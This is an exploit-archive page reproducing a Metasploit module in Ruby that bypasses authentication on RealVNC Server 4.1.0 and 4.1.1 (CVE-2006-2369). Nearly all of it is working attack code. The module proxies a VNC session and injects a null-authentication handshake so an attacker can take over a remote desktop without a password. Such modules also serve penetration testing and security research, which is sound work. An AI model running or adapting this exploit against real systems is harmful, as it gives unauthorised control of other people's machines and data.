what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RealVNC Authentication Bypass

RealVNC Authentication Bypass
Posted Aug 26, 2011
Authored by H D Moore, The Light Cosine | Site metasploit.com

This Metasploit module exploits an Authentication Bypass Vulnerability in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy listener on LPORT and proxies to the target server The AUTOVNC option requires that vncviewer be installed on the attacking machine. This option should be disabled for Pro.

tags | exploit, bypass
advisories | CVE-2006-2369, OSVDB-25479
SHA-256 | e04dfdae1c144c55bf3ae60b0db55de39d6d8b5d1ffc4b3506d87fa3c3c8e7c6

RealVNC Authentication Bypass

Change Mirror Download
##
# $Id: realvnc_41_bypass.rb 13641 2011-08-26 04:40:21Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'RealVNC Authentication Bypass',
'Description' => %q{
This module exploits an Authentication Bypass Vulnerability
in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
listener on LPORT and proxies to the target server

The AUTOVNC option requires that vncviewer be installed on
the attacking machine. This option should be disabled for Pro
},
'Author' =>
[
'hdm', #original msf2 module
'TheLightCosine <thelightcosine[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13641 $',
'References' =>
[
['BID', '17978'],
['OSVDB', '25479'],
['URL', 'http://secunia.com/advisories/20107/'],
['CVE', 'CVE-2006-2369'],
],
'DisclosureDate' => 'May 15 2006'))

register_options(
[
OptAddress.new('RHOST', [true, 'The Target Host']),
OptPort.new('RPORT', [true, "The port the target VNC Server is listening on", 5900 ]),
OptPort.new('LPORT', [true, "The port the local VNC Proxy should listen on", 5900 ]),
OptBool.new('AUTOVNC', [true, "Automatically Launch vncviewer from this host", true])
], self.class)
end

def run
#starts up the Listener Server
print_status("starting listener")
listener = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => datastore['LPORT'],
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)

#If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
#targetting the proxy listener.
if (datastore['AUTOVNC'])
unless (check_vncviewer())
print_error("vncviewer does not appear to be installed, exiting!!!")
return nil
end
print_status("Spawning viewer thread")
view = framework.threads.spawn("VncViewerWrapper", false) {
system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
}
end

#Establishes the connection between the viewier and the remote server
client = listener.accept
add_socket(client)

s = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Timeout' => 1
)
add_socket(s)
serverhello = s.gets
unless serverhello.include? "RFB 003.008"
print_error("The VNCServer is not vulnerable")
return
end

#MitM attack on the VNC Authentication Process
client.puts(serverhello)
clienthello = client.gets
s.puts(clienthello)
authmethods = s.recv(2)
print_status("Auth Methods Recieved. Sending Null Authentication Option to Client")
client.write("\x01\x01")
client.recv(1)
s.write("\x01")
s.recv(4)
client.write("\x00\x00\x00\x00")

#handles remaining proxy operations between the two sockets
closed = false
while(closed == false)
sockets =[]
sockets << client
sockets << s
selected = select(sockets,nil,nil,0)
#print_status ("Selected: #{selected.inspect}")
unless selected.nil?
if selected[0].include?(client)
#print_status("Transfering from client to server")
begin
data = client.sysread(8192)
if data.nil?
print_error("Client Closed Connection")
closed = true
else
s.write(data)
end
rescue
print_error("Client Closed Connection")
closed = true
end
end
if selected[0].include?(s)
#print_status("Transfering from server to client")
begin
data = s.sysread(8192)
if data.nil?
print_error("Server Closed Connection")
closed = true
else
client.write(data)
end
rescue
closed = true
end
end
end
end

#Garbage Collection
s.close
client.close
print_status("Listener Closed")

if (datastore['AUTOVNC'])
view.kill
print_status("Viewer Closed")
end
end

def check_vncviewer
vnc =
Rex::FileUtils::find_full_path('vncviewer') ||
Rex::FileUtils::find_full_path('vncviewer.exe')
if (vnc)
return true
else
return false
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close